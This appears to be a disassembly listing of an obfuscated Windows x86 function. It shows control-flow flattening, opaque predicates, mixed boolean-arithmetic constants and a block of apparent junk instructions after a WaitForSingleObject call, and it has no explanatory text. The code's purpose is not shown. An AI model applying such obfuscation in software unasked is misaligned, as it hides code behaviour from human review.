xor dl, cl
test al, 1
mov eax, 0xfdc5e71
cmovne eax, esi
test cl, 1
mov ecx, 0xfdc5e71
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401540
cmp eax, 0x3a25fb3b
jg 0x40351e
cmp eax, 0x3643973a
jg 0x403f00
cmp eax, 0x34380b16
jle 0x405257
cmp eax, 0x34380b17
je 0x407d80
cmp eax, 0x34fd2c32
je 0x407d8a
cmp eax, 0x35852230
jne 0x401540
mov eax, 0x81fde5a6
jmp 0x401540
cmp eax, 0xfcfcbaa1
jg 0x40356e
cmp eax, 0xf756535f
jg 0x403fb2
cmp eax, 0xf46ded1b
jle 0x405277
cmp eax, 0xf46ded1c
je 0x407d9f
cmp eax, 0xf4e8f2db
je 0x407ded
cmp eax, 0xf53f694e
jne 0x401540
mov eax, 0x2c43b7cd
jmp 0x401540
cmp eax, 0x78c9f482
jg 0x4035af
cmp eax, 0x7447a3fa
jg 0x4040b7
cmp eax, 0x71a9aaae
jle 0x4052a6
cmp eax, 0x71a9aaaf
je 0x407dfd
cmp eax, 0x71ee64cb
je 0x407e07
cmp eax, 0x7274680e
jne 0x401540
mov ecx, dword [0x4a4b7c]
mov edi, 0x2a81f2fe
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0x6ddb1558
mov ecx, esi
and ecx, 0x9224eaa6
and esi, 0xccd73690
or edx, ecx
mov ecx, eax
xor ecx, 0xfffffffe
and ecx, eax
xor edx, 0x6ddb1558
and eax, 0x3328c96f
or ecx, edx
or eax, esi
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x2ad1156
and edx, 0xfd52eea9
or edx, esi
mov esi, eax
xor esi, 0x3100c829
xor eax, 0xccd73690
or ecx, eax
and eax, 0x2ad1156
and esi, 0xfd52eea9
or esi, eax
not ecx
xor esi, edx
or ecx, esi
mov esi, 0x7e58be33
xor ecx, 0xffffffff
setne al
sete ch
cmp dword [0x4a4b78], 0xa
mov edx, eax
setl cl
setge ah
and dl, ah
and cl, ch
xor al, ah
or cl, dl
and al, ch
xor cl, 1
xor al, 1
or cl, ah
or ah, ch
mov ch, al
or al, ah
xor ch, ah
mov edx, ecx
xor al, 1
xor dl, 1
or al, ch
mov ah, al
and al, cl
xor ah, 1
or cl, ah
and ah, dl
mov edx, 0x2a81f2fe
or ah, al
mov al, cl
xor al, ah
test al, 1
cmovne edx, esi
test ah, 1
mov eax, edx
cmovne eax, edi
jmp 0x40a0b0
cmp eax, 0x97f06c5d
jg 0x4035ff
cmp eax, 0x93c9d630
jg 0x404101
cmp eax, 0x92d39bbb
jle 0x4052c6
cmp eax, 0x92d39bbc
je 0x407f0a
cmp eax, 0x936c3dce
je 0x407fc9
cmp eax, 0x939d3f03
jne 0x401540
mov eax, 0x62d38f0f
jmp 0x401540
cmp eax, 0xb0e26be
jle 0x403659
cmp eax, 0x149de8ff
jg 0x404152
cmp eax, 0xeef1aff
jle 0x4052e6
cmp eax, 0xeef1b00
je 0x408005
cmp eax, 0xfdc5e71
je 0x4013cf
cmp eax, 0x135315d5
jne 0x401540
mov eax, dword [ebp - 0x50]
mov dword [eax], 0x20
mov eax, 0xcb2abf2d
jmp 0x401540
cmp eax, 0xcaf28417
jle 0x403788
cmp eax, 0xcf336a3b
jg 0x404188
cmp eax, 0xcb715d51
jle 0x405474
cmp eax, 0xcb715d52
je 0x40800f
cmp eax, 0xcdf85b02
je 0x408025
cmp eax, 0xced85cff
jne 0x401540
mov ecx, dword [0x4a4b7c]
mov esi, 0x466b7108
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0xe6816d84
and ecx, 0x197e927b
or eax, ecx
mov ecx, eax
xor eax, 0x197e927a
xor ecx, 0xe6816d84
mov edx, ecx
and eax, 0xfffffffe
and ecx, 1
and edx, 0xfffffffe
or ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x53d151b9
and eax, 0xac2eae46
or eax, ecx
mov ecx, eax
xor ecx, 0xa808a402
xor eax, 0x4000a0
and eax, 0x4660ae4
and ecx, 0xfb99f51b
or ecx, eax
cmp ecx, 0xfb99f51b
setne cl
cmp dword [0x4a4b78], 0xa
setge al
mov edx, eax
or al, cl
xor dl, cl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0xdcf1d19d
cmovne eax, esi
test cl, cl
mov ecx, 0xdcf1d19d
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x401540
cmp eax, 0x49789730
jle 0x4037c9
cmp eax, 0x4ca792cc
jg 0x4041be
cmp eax, 0x4ae924e7
jle 0x405494
cmp eax, 0x4ae924e8
je 0x40802f
cmp eax, 0x4b401694
je 0x408039
cmp eax, 0x4c3b48bc
jne 0x401540
mov eax, dword [ebp - 0x28]
mov dword [eax], 0xc
mov eax, 0x857e7517
jmp 0x401540
cmp eax, 0xaaeaa60e
jg 0x4042f7
cmp eax, 0xa957fb79
jle 0x4054b4
cmp eax, 0xa957fb7a
je 0x40804c
cmp eax, 0xaaa079d9
je 0x408061
cmp eax, 0xaac046c3
jne 0x401540
mov eax, dword [ebp - 0x34]
cmp dword [eax], 0
mov eax, 0x6f9f6e4f
sets byte [ebp - 0xa2]
jmp 0x401540
cmp eax, 0x2fd9b638
jg 0x4043c4
cmp eax, 0x2e7e6c65
jle 0x4054d4
cmp eax, 0x2e7e6c66
je 0x408071
cmp eax, 0x2f10f181
je 0x4080a2
cmp eax, 0x2f52c376
jne 0x401540
mov eax, 0x53b0ccf0
jmp 0x401540
cmp eax, 0xefef8f28
jg 0x40444a
cmp eax, 0xee18b791
jle 0x405561
cmp eax, 0xee18b792
je 0x4080af
cmp eax, 0xeef7b13d
je 0x4081d2
cmp eax, 0xefa77390
jne 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x22f50008
mov esi, edx
and esi, 0xdd0afff6
and edx, 0x4badcd31
or ecx, esi
mov esi, ecx
xor esi, 0x20a40000
xor ecx, 0xdd0afff7
mov edi, ecx
and edi, 0xca59408b
and esi, 0x35a6bf74
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0xb45232ce
mov ebx, edi
not ebx
and edi, 0x35a6bf74
or eax, edx
or ecx, ebx
and ebx, 0xca59408b
xor eax, 0xb45232ce
or edi, ebx
not ecx
xor edi, esi
mov esi, 0xe9dea9e8
or ecx, edi
not ecx
or eax, ecx
xor eax, 0xffffffff
sete cl
setne dl
cmp dword [0x4a4b78], 0xa
setl al
setge ah
and cl, ah
and al, dl
or ah, dl
or al, cl
mov cl, ah
xor al, 1
or cl, al
xor al, ah
mov edx, ecx
xor dl, al
mov edx, 0x6f9d6827
cmovne edx, esi
test al, al
mov esi, 0x6f9d6827
jmp 0x406ade
cmp eax, 0x6cd8deb8
jg 0x404480
cmp eax, 0x67854cfc
jle 0x4056b2
cmp eax, 0x67854cfd
je 0x4082a6
cmp eax, 0x6b747ea5
je 0x4083fa
cmp eax, 0x6caec218
jne 0x401540
mov eax, dword [ebp - 0x28]
mov ecx, dword [0x4a4b7c]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x9020c7a
and eax, 0x309da200
mov edx, ecx
and edx, 0xc6401084
or ecx, 0xc6400062
or esi, edx
and ecx, 0xc6604163
mov edx, esi
xor edx, 0x9020c18
xor esi, 0xc6604101
or eax, ecx
and esi, 0xc6604163
and edx, 0x9021c9c
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x4f4c5a18
and ecx, 0xb0b3a5e7
or eax, ecx
mov ecx, eax
mov esi, eax
xor ecx, 0x7ff1b919
xor esi, 0x67457691
and esi, ecx
mov ebx, ecx
or ebx, 0xe74b3077
or ecx, 1
mov edx, esi
not edx
and esi, 0x5e5dd720
and ecx, 0xaedb5297
mov edi, edx
and edi, 0xa1a228df
or edx, ebx
and ebx, 0xa1a228df
or esi, edi
mov edi, eax
xor edi, 0x44600
not edx
xor eax, 0x40460
and edi, 0x1814c700
and eax, 0x5124ad68
or edi, ebx
or ecx, eax
xor edi, esi
xor ecx, 0xaedb5297
or edx, edi
mov esi, edx
not esi
and edx, 0xe74b3076
and esi, 0x18b4cf89
or edx, esi
mov esi, 0x37094f97
or ecx, edx
mov eax, ecx
xor eax, 0x70f780b8
mov edx, ecx
and edx, 0x1380a8
and eax, ecx
not ecx
and ecx, 0x70e40010
or edx, ecx
xor edx, 0x1380a8
or eax, edx
mov ecx, eax
not ecx
and eax, 0x3be16b0c
and ecx, 0xc41e94f3
or eax, ecx
mov ecx, eax
xor ecx, 0x4312e820
xor eax, 0x30a0044a
and ecx, 0xc75bf821
and eax, 0x38a407de
or eax, ecx
mov ecx, eax
xor ecx, 0xc01a5801
xor eax, 0x188401ca
and eax, 0x1fc5a1ea
and ecx, 0xe03a5e15
or ecx, eax
xor ecx, 0xe03a5e15
setne cl
sete ah
cmp dword [0x4a4b78], 0xa
setge ch
setl al
mov dl, ch
and cl, al
xor al, ah
xor dl, ah
and ah, ch
and dl, ch
or cl, ah
mov ah, dl
xor dl, al
xor al, 1
xor ah, 1
or al, ah
xor al, 1
or al, dl
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xa432e5c5
cmovne ecx, esi
test al, 1
mov eax, 0xa432e5c5
jmp 0x40152e
cmp eax, 0x8be700f6
jg 0x4044b6
cmp eax, 0x8a741bc4
jle 0x405805
cmp eax, 0x8a741bc5
je 0x408404
cmp eax, 0x8b5af836
je 0x40840e
cmp eax, 0x8b8044c1
jne 0x401540
mov eax, 0xda504615
jmp 0x401540
cmp eax, 0x2260f287
jg 0x4044ec
cmp eax, 0x20122183
jle 0x4058bf
cmp eax, 0x20122184
je 0x408418
cmp eax, 0x212c5027
je 0x408422
cmp eax, 0x215dcb16
jne 0x401540
mov eax, dword [0x4a4b7c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xd3565311
mov eax, ecx
and eax, 0xf0d32f99
andn edx, ecx, edx
not ecx
and ecx, 0xf2cd066
mov ebx, edx
not ebx
and edx, 0xbae4ce32
or ecx, eax
mov eax, ecx
xor eax, 0x20812c88
mov esi, ecx
xor esi, 0x8208022
or eax, 0xd3565311
and esi, 0x28a08c22
mov edi, eax
or eax, ebx
and edi, 0x451b31cd
and ebx, 0x451b31cd
or esi, edi
or edx, ebx
not eax
xor edx, esi
or eax, edx
mov edx, eax
not edx
and eax, 0xe0303a4
and edx, 0xf1fcfc5b
or eax, edx
mov edx, eax
xor edx, 0x8a0a00
xor eax, 0xdd5550b4
mov esi, eax
and esi, 0xe620e56f
and edx, 0x19df1a90
or edx, esi
mov esi, ecx
xor esi, 0xf2cd066
xor ecx, 0x10d30a90
or esi, 1
and ecx, 0x19df1a90
or eax, esi
and esi, 0xe620e56f
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x48a93002
and eax, 0xb756cffd
or ecx, eax
mov eax, ecx
xor eax, 0x40a81000
xor ecx, 0xb756cffd
mov esi, ecx
and esi, 0x9841e2ca
and eax, 0x67be1d35
or eax, esi
mov esi, edx
not esi
and edx, 0x67be1d35
or ecx, esi
and esi, 0x9841e2ca
or edx, esi
not ecx
mov esi, 0xa5e5fb38
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x6380c8ab
and eax, 0x9c7f3754
or ecx, eax
mov eax, ecx
xor eax, 0x180c000
xor ecx, 0x983d3504
and ecx, 0xfa3d3daf
and eax, 0x5c2c250
or eax, ecx
mov ecx, eax
xor ecx, 0xb2052d89
xor eax, 0x1824010
and eax, 0x49ba5036
and ecx, 0xb645afc9
or ecx, eax
xor ecx, 0xb645afc9
setne ch
sete dl
cmp dword [0x4a4b78], 0xa
setge al
setl ah
mov cl, al
mov dh, al
or al, ch
and ch, ah
xor ah, dl
xor al, 1
and dh, dl
xor cl, dl
or al, ah
or dh, ch
xor cl, 1
xor al, 1
or al, dh
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x908972f0
cmovne edx, esi
test al, 1
mov eax, 0x908972f0
jmp 0x403ef3
cmp eax, 0xdbffe8d3
jg 0x40453a
cmp eax, 0xda414546
jle 0x405a4d
cmp eax, 0xda414547
je 0x40842c
cmp eax, 0xda504615
je 0x408442
cmp eax, 0xdacf31c1
jne 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
and eax, 0x37426a6a
and ecx, 0xc8bd9595
or eax, ecx
mov ecx, eax
xor ecx, 0x12002a28
xor eax, 0xc88d8105
and eax, 0xedcfc147
and ecx, 0x12303eb8
or ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0x12303eb8
xor edx, 0xedcfc147
xor ecx, 0xab236990
mov esi, eax
or esi, edx
and edx, 0xa7bf4eeb
and ecx, esi
mov esi, ecx
not esi
and ecx, 0x46eca8d6
and esi, 0xb9135729
or ecx, esi
mov esi, eax
and esi, 0x5840b114
and eax, 1
or esi, edx
xor esi, 0xa7bf4eea
or eax, esi
mov esi, 0x9a2beb1f
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xc9707abf
and ecx, 0x368f8540
or eax, ecx
mov ecx, eax
xor ecx, 0xc1700827
xor eax, 0x10020100
and eax, 0x18027398
and ecx, 0xe7fd8c67
or ecx, eax
mov eax, ecx
xor eax, 0x18024398
xor ecx, 0xe7fd8c67
mov edx, ecx
and edx, 0x47753447
and eax, 0xb88acbb8
or eax, edx
xor eax, 0xb88acbb8
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ch
cmp dword [0x4a4b78], 0xa
setl ah
setge cl
mov al, ah
or ah, ch
or ch, cl
xor cl, dl
xor ah, 1
or al, dl
mov dh, ch
or cl, ah
xor dh, al
or al, ch
mov ah, cl
mov dl, cl
xor al, 1
xor ah, 1
or al, dh
and dl, ah
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
mov ah, dl
xor dl, 1
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xf37ac275
cmovne eax, esi
test dl, 1
mov edx, 0xf37ac275
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401540
cmp eax, 0x5d104784
jg 0x40470d
cmp eax, 0x5c2b6436
jle 0x405a70
cmp eax, 0x5c2b6437
je 0x408545
cmp eax, 0x5c5ffaad
je 0x4086f5
cmp eax, 0x5cf40e1b
jne 0x401540
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0x85bf9ead
and eax, 0x7a406152
or edx, eax
mov ecx, edx
mov eax, edx
xor edx, 0x1496a366
xor eax, 0x7a406152
xor ecx, 0x85bf9ead
mov edi, edx
and edi, eax
and edx, ecx
or eax, 1
and ecx, 0x3727b4ae
mov esi, edi
not esi
and edi, 0x498276ef
and eax, 0xc8d84b51
mov ebx, esi
and ebx, 0xb67d8910
or eax, ecx
or edi, ebx
mov ebx, edx
not ebx
and edx, 0x498276ef
xor eax, 0xc8d84b51
or esi, ebx
and ebx, 0xb67d8910
or edx, ebx
not esi
xor edx, edi
or esi, edx
mov edx, esi
not edx
and esi, 0x91293dca
and edx, 0x6ed6c235
or esi, edx
or eax, esi
mov esi, 0xc4506444
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xe1400880
and eax, 0x1ea1f26a
and ecx, 0x1e0515
or edx, ecx
xor edx, 0xe1400880
or eax, edx
mov ecx, eax
not ecx
and eax, 0x360bd7e4
and ecx, 0xc9f4281b
or eax, ecx
mov ecx, eax
xor ecx, 0x1a61
xor eax, 0x28aa258e
mov edx, eax
and edx, 0xdf5fc11e
and ecx, 0x20a03ee1
or ecx, edx
xor ecx, 0xdf5fc11e
xor eax, ecx
test eax, ecx
setne dl
sete al
cmp dword [0x4a4b78], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
and dh, ch
xor dl, ch
and cl, al
and dl, al
xor al, ah
or cl, dh
and al, ah
xor cl, 1
or al, dl
or cl, ch
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
mov ah, dl
xor ah, 1
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x11fd3f9
cmovne eax, esi
test dl, dl
mov edx, 0x11fd3f9
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401540
cmp eax, 0xb7dbdfaf
jg 0x404809
cmp eax, 0xb59cfaec
jle 0x405a9f
cmp eax, 0xb59cfaed
je 0x4087d4
cmp eax, 0xb62a6268
je 0x4087ec
cmp eax, 0xb7c1e652
jne 0x401540
mov ecx, dword [0x4a4b7c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0x61931794
not edx
mov ecx, edx
and esi, eax
and ecx, 0x61931794
and edx, 0x99be0b45
and eax, 0x6641f4ba
or ecx, esi
not esi
or eax, edx
and esi, 0x9e6ce86a
and ecx, 0x61931795
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x41de96ea
mov esi, edx
and esi, 0xbe216915
or ecx, esi
mov esi, eax
xor esi, 0x404094aa
xor eax, 0x98200905
and eax, 0xbe216915
and esi, 0x41de96ea
or esi, eax
xor esi, ecx
not esi
or esi, edx
cmp esi, 0xffffffff
mov esi, 0x8b5af836
setne cl
cmp dword [0x4a4b78], 0xa
mov ch, cl
setl ah
setge al
or al, cl
xor cl, ah
or ch, ah
not cl
mov edx, eax
and cl, ah
mov ah, ch
xor dl, 1
xor cl, 1
xor ah, cl
or cl, ch
xor cl, 1
or cl, ah
mov ah, cl
and cl, al
xor ah, 1
or al, ah
and ah, dl
mov edx, 0xd2b4067d
or ah, cl
mov ecx, eax
xor cl, ah
test cl, 1
mov ecx, 0x8b5af836
cmovne ecx, edx
test ah, ah
jmp 0x405a3c
cmp eax, 0x3dbcd986
jg 0x404938
cmp eax, 0x3bb41abf
jle 0x405acf
cmp eax, 0x3bb41ac0
je 0x40896b
cmp eax, 0x3d846b21
je 0x408988
cmp eax, 0x3d863dd2
jne 0x401540
cmp byte [ebp - 0xa3], 0
mov eax, 0x64f0cb39
mov ecx, 0xd450edbd
cmovne eax, ecx
jmp 0x401540
cmp eax, 0x2be7e2e
jg 0x404997
cmp eax, 0xfeffaf01
jle 0x405aef
cmp eax, 0xfeffaf02
je 0x4089bc
cmp eax, 0x11fd3f9
je 0x4089c6
cmp eax, 0x2a39844
jne 0x401540
mov eax, 0x5cf40e1b
jmp 0x401540
cmp eax, 0x7d5061b8
jg 0x404b21
cmp eax, 0x7a8b1647
jle 0x405b0f
cmp eax, 0x7a8b1648
je 0x408b17
cmp eax, 0x7c87c4f3
je 0x408ca9
cmp eax, 0x7cad184a
jne 0x401540
cmp byte [ebp - 0x98], 0
mov eax, 0xf8334fe4
mov ecx, 0xd1e7ac29
cmovne eax, ecx
jmp 0x401540
cmp eax, 0x9ba3b129
jg 0x404b57
cmp eax, 0x99b6e9ef
jle 0x405b43
cmp eax, 0x99b6e9f0
je 0x408cb3
cmp eax, 0x9a2beb1f
je 0x408d92
cmp eax, 0x9b6cbbb1
jne 0x401540
mov eax, dword [ebp - 0x198]
mov eax, dword [eax]
add eax, dword [ebp - 0x194]
mov ecx, dword [ebp - 0xc8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x70]
mov eax, 0x1a1fb220
jmp 0x401540
cmp eax, 0x8de55e7
jle 0x404b85
cmp eax, 0x96381bd
jle 0x405b63
cmp eax, 0x96381be
je 0x408d9c
cmp eax, 0x9dc42f8
je 0x408dcd
cmp eax, 0xaf54709
jne 0x401540
mov eax, dword [0x4a4b7c]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0xa25a3a10
mov ecx, eax
and ecx, 0x5da5c5ef
and eax, 0xbfa5c442
or esi, ecx
mov ecx, edx
or ecx, 0x7bb8da8e
mov edi, esi
xor edi, 0x80422010
xor esi, 0x59a0c08e
and ecx, 0x7bb8da8f
and esi, 0x7bb8da8e
and edi, 0x84472570
or edi, esi
xor ecx, edi
mov esi, ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0x405a3bbd
and edi, 0x405a3bbd
and esi, 0xbfa5c442
or eax, edx
not ecx
or esi, edi
xor eax, esi
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x1aa93e95
and eax, 0xe556c16a
or ecx, eax
xor ecx, 0x1aa93e95
sete ch
setne dl
cmp dword [0x4a4b78], 0xa
mov dh, ch
setge cl
setl ah
inc dh
mov al, cl
and dl, ah
and cl, ch
xor al, dh
or dh, ah
or cl, dl
and al, ah
mov bl, dh
or ah, ch
xor al, 1
xor ah, 1
xor bl, al
or al, dh
or cl, ah
xor al, 1
mov edx, ecx
or al, bl
xor dl, 1
mov ah, al
and al, cl
xor ah, 1
and dl, ah
or ah, cl
or al, dl
mov cl, ah
mov edx, 0x96381be
xor cl, al
test cl, 1
mov ecx, 0x8c6e3306
cmovne ecx, edx
test ah, 1
mov edx, 0x8c6e3306
jmp 0x404eb9
cmp eax, 0xc3353815
jle 0x404bb9
cmp eax, 0xc4506443
jle 0x405b86
cmp eax, 0xc4506444
je 0x408f4f
cmp eax, 0xc8b300ef
je 0x408f5f
cmp eax, 0xcaf110a1
jne 0x401540
mov eax, 0x215dcb16
jmp 0x401540
cmp eax, 0x450183ea
jle 0x404c14
cmp eax, 0x4677c13a
jle 0x405ba6
cmp eax, 0x4677c13b
je 0x408f78
cmp eax, 0x46ebe61e
je 0x408f82
cmp eax, 0x483b8cf1
jne 0x401540
mov eax, 0x34fd2c32
jmp 0x401540
cmp eax, 0xa5cae651
jle 0x405bc6
cmp eax, 0xa5cae652
je 0x408f8c
cmp eax, 0xa5e5fb38
je 0x409150
cmp eax, 0xa69913f7
jne 0x401540
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
mov eax, 0x4fc2cb79
jmp 0x401540
cmp eax, 0x2a81f2fd
jle 0x405cad
cmp eax, 0x2a81f2fe
je 0x409185
cmp eax, 0x2ab9eb6b
je 0x40929a
cmp eax, 0x2c43b7cd
jne 0x401540
mov eax, dword [0x4a4b7c]
mov edi, 0x67854cfd
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
andn eax, ecx, ecx
and esi, 0xcd2e0bf8
and edx, 0x32d1f407
or edx, esi
mov esi, eax
not esi
and eax, 0x32d1f407
or ecx, esi
and esi, 0xcd2e0bf8
or eax, esi
not ecx
xor eax, edx
or ecx, eax
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0xdfdfbb12
and ecx, 0x202044ed
or ecx, eax
mov eax, edx
not eax
and edx, 0xd8542b71
mov esi, eax
and esi, 0x27abd48e
or edx, esi
mov esi, ecx
xor esi, 0x60
xor ecx, 0xdfdfbb13
or eax, ecx
and ecx, 0x27abd48e
and esi, 0xd8542b71
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov ecx, eax
xor ecx, 0xe100a64d
mov edx, eax
not edx
and ecx, eax
or eax, 0x1eff59b2
and edx, 0xa045
mov esi, eax
and esi, 0xfbf406a8
or edx, esi
mov esi, ecx
not esi
and ecx, 0x40bf957
or eax, esi
and esi, 0xfbf406a8
or ecx, esi
not eax
mov esi, 0xcf336a3c
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xed5601b4
and ecx, 0x12a9fe4b
or eax, ecx
xor eax, 0xc56a7f9
sete dl
setne ah
cmp dword [0x4a4b78], 0xa
mov al, dl
setl cl
xor ah, cl
xor al, cl
or cl, dl
xor ah, 1
xor cl, 1
or cl, ah
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor ah, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
test dl, 1
not cl
cmovne esi, edi
test cl, al
cmovne esi, edi
test dl, 1
mov edx, esi
cmovne edx, edi
test cl, al
jmp 0x40b673
cmp eax, 0xe9a62c29
jle 0x405cdc
cmp eax, 0xe9a62c2a
je 0x4092b3
cmp eax, 0xe9dea9e8
je 0x4092c3
cmp eax, 0xec395fd8
jne 0x401540
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov dword [ebp - 0x144], eax
mov eax, dword [ebp - 0x68]
cmp dword [eax + 4], 0
mov eax, 0xfa3af62b
setne byte [ebp - 0x97]
jmp 0x401540
cmp eax, 0x6422eaf9
jle 0x405d05
cmp eax, 0x6422eafa
je 0x4092d6
cmp eax, 0x646df98a
je 0x4092e7
cmp eax, 0x64f0cb39
jne 0x401540
mov eax, dword [ebp - 0xb8]
push 0xffffffffffffffff
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add edx, 0xb2
rol ebx, 0xb6
dec edx
and edx, 0x60
rol edx, 0xc3
sbb edx, 0xba
not ebx
add esi, 0xc9
add eax, 0xd7
or esi, 0x3f
bswap edx
add edx, 0x6c
or edi, 0x89
mov edi, 0x38
rcl eax, 0x27
sub esi, 0x24
dec esi
imul edi
dec ebx
bswap eax
inc edx
add esi, 0xc1
dec esi
rol ebx, 0x57
and edx, 0xc1
mov edi, 0xb5
imul edx
neg edx
bswap edx
inc eax
inc esi
neg ebx
rol eax, 0xb7
not ebx
mov esi, 0x8c
rol eax, 0xb1
dec esi
rcl esi, 0x1a
sub esi, 0xb6
rcr edi, 0x89
sbb eax, 0xd5
or esi, 0xc
rcl eax, 0x5d
dec edx
neg esi
mov edi, 0x49
ror edx, 0x59
add eax, 0x1b
rcr eax, 0x3a
sub edi, 8
and edx, 0x85
rcr ebx, 0xef
dec ebx
inc ebx
sbb esi, 0xb0
sbb eax, 0xec
rcl edx, 0xeb
sbb edx, 1
imul esi
mov eax, 0x7c
sbb ebx, 0xce
rol edi, 0x5c
bswap esi
or eax, 0x2b
dec esi
bswap edx
not esi
or esi, 0x99
not edi
imul edx
rcr eax, 0xfd
or edx, 0xcd
dec esi
inc edi
neg ebx
neg ebx
inc esi
not esi
sub ebx, 0x55
inc edi
dec eax
neg ebx
or esi, 0xeb
add eax, 0x58
neg edx
and edx, 0x17
and ebx, 0x15
sub esi, 0xea
inc ebx
not esi
imul eax
neg ebx
rol esi, 0x92
dec eax
mov ebx, 0xa8
not ebx
inc edx
imul esi
imul esi
ror ebx, 0xa8
sub edi, 0x10
rcr ebx, 0xed
not esi
mov esi, 0x88
add edi, 0x5e
ror eax, 0x27
mov esi, 0xa7
imul esi
rcl ebx, 0xd2
not edi
rcl edi, 0x29
imul edx
rol edi, 0x9e
inc edi
sub ebx, 0x7f
rcr edx, 0x3a
and eax, 0xc4
dec edx
inc edx
ror edx, 0x78
neg esi
not esi
rol esi, 0x3c
not edi
bswap edx
sub eax, 0x5d
not edi
not edi
inc edi
neg edx
ror eax, 0xd4
bswap eax
imul eax
and eax, 8
mov edi, 4
inc edx
not edx
or ebx, 0xb8
rcr edx, 0xee
dec ebx
rcl edi, 0x2d
dec edx
sbb ebx, 0x4b
imul edi
bswap edx
inc ebx
and esi, 0x52
sbb ebx, 0xb2
neg ebx
not ebx
mov ecx, dword [ebp - 0x24]
mov dword [ecx], eax
mov eax, dword [ebp - 0x24]
mov dword [eax], 0
mov eax, 0x3643973b
jmp 0x401540
cmp eax, 0x857e7516
jle 0x405d34
cmp eax, 0x857e7517
je 0x4093e4
cmp eax, 0x86223549
je 0x4093ee
cmp eax, 0x87e5189a
jne 0x401540
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x1bc]
mov dword [eax], ecx
mov eax, 0x8872534d
jmp 0x401540
cmp eax, 0x1b9115bd
jle 0x405e2c
cmp eax, 0x1b9115be
je 0x4093f8
cmp eax, 0x1c583446
je 0x409402
cmp eax, 0x1c869d07
jne 0x401540
mov eax, dword [ebp - 0x54]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x190]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*4 + 0x10]
mov dword [ebp - 0x120], eax
mov eax, 0x71ee64cb
jmp 0x401540
cmp eax, 0xd91d2e23
jle 0x405e58
cmp eax, 0xd91d2e24
je 0x409418
cmp eax, 0xd967f256
je 0x40942b
cmp eax, 0xd96f1e9d
jne 0x401540
mov eax, dword [ebp - 0xc8]
mov ecx, dword [0x4a4b7c]
mov edi, 0x6caec218
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x3071b0
and eax, 0x9d098e4c
and ecx, 0x62c60003
or edx, ecx
xor edx, 0x3071b0
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8599841b
and ecx, 0x7a667be4
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x414cd500
xor esi, 0x18900a57
xor eax, 0x443e100
mov ecx, esi
or ecx, 1
and esi, 0xae2322fa
and edx, 0x51dcdd05
and eax, 0x1c53e110
or edx, esi
mov esi, ecx
and esi, 0xe3ac1eee
or eax, esi
mov esi, edx
xor esi, 0x1050c100
xor edx, 0xae2322fb
or ecx, edx
and edx, 0xe3ac1eee
and esi, 0x1c53e111
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x37094f97
xor ecx, 0xffffffff
setne ch
sete dl
